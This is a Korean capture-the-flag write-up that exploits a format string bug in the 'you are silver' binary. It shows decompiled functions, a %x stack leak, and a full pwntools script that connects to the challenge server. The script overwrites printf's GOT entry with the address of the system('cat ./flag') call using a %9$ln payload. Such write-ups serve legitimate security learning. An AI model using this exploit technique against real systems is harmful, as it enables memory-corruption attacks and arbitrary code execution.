내가 입력한 문자열을 출력하고, you are silver 를 출력하고, 세그먼트폴트가 나고 종료된다.
undefined8 main(void)
{
char local_38 [40];
int local_10;
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
local_c = 0x32;
puts("Please enter your name");
fgets(local_38,0x2e,stdin);
printf(local_38);
local_10 = get_tier((ulong)local_c);
printf((char *)(long)local_10);
return 0;
}
main 함수이다. 0x2e 만큼 입력받기때문에 overwrite 는 발생하지 않을것이다.
void get_tier(int param_1)
{
if (param_1 < 0x33) {
puts("\nYou are silver.");
}
else {
if ((param_1 < 0x42) && (0x32 < param_1)) {
puts("\nYou are platinum.");
}
else {
if ((param_1 < 0x4c) && (0x41 < param_1)) {
puts("\nYou are master.");
}
else {
if (0x4b < param_1) {
puts("\nYou are challenger.");
}
}
}
}
return;
}
인자를 가져와서 숫자의 크기만큼 티어를 출력해준다. 주의해서 봐야할건 리턴타입이 void 라는건데,
main 함수에서 (char*)(long) 으로 캐스팅하기때문에, 쓰레기값을 참조해서 출력하므로 segmentation fault 가 나게된다.
printf(local_38);
local_10 = get_tier((ulong)local_c);
printf((char *)(long)local_10);
서식문자없이 출력하므로, FSB 가 발생한다. 그렇다면, segmentation fault 가 나는 두번째 printf 가 실행되지 않도록,
printf 함수의 got 를 overwrite 하자.
got overwrite 가 가능하다 !.
void play_game(int param_1)
{
if (param_1 == 2) {
puts("platinum can\'t play game. :(");
/* WARNING: Subroutine does not return */
exit(0);
}
if (param_1 < 3) {
if (param_1 == 1) {
puts("SILVER can\'t play game.");
/* WARNING: Subroutine does not return */
exit(0);
}
}
else {
if (param_1 == 3) {
puts("master can\'t play game. Sorry! :(");
/* WARNING: Subroutine does not return */
exit(0);
}
if (param_1 == 4) {
puts("Challenger. Take this first!");
system("cat ./flag");
}
}
puts("Who are you? get out!");
/* WARNING: Subroutine does not return */
exit(0);
}
주어져있는 함수이다. 두번째 printf 를 실행할때 인자가 4라는 보장이 없기때문에, printf.got 를 play_game 으로 주소를 조작한다해도 system("cat ./flag"); 를 실행할수는 없다. 하지만 함수시작으로 조작하라는 법이있나? system("cat ./flag") 이 있는 주소로 조작하면 된다~!
%x %x %x %x %x %x %x %x %x %x
21be2a1 0 21be2be ba41b650 7c 25207825 20782520 78252078 25207825 ba41b770
덮어쓸 함수주소를 패킹하면 00 으로 끝나기때문에, 함수주소를 뒤에다가 쓰도록 하고
64bit 시스템이기때문에 8바이트 단위로 맞춰줘야한다.
%6$ln 버퍼시작
%7$ln 버퍼시작+8
%8$ln 버퍼시작+16
payload 를 24바이트로 맞춰주었기때문에, %9$ln 를 써서 버퍼시작+24byte 에있는 printf_got 주소를 가리켜야한다.
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3022)
#r=process("./you_are_silver")
oneshot=0x0000000000400750
printf=0x601028
context.log_level='debug'
pay=f'%{oneshot}c%9$ln'.ljust(24,' ')+p64(printf).decode()
print(pay)
r.sendline(pay)
r.interactive()
%9$n 은 안될까 생각해봤는데, printf_got 주소 (0x601028) -> 0x7fffffff~~~~~~~~ 이렇게 되어있을것이기때문에
n 은 안된다.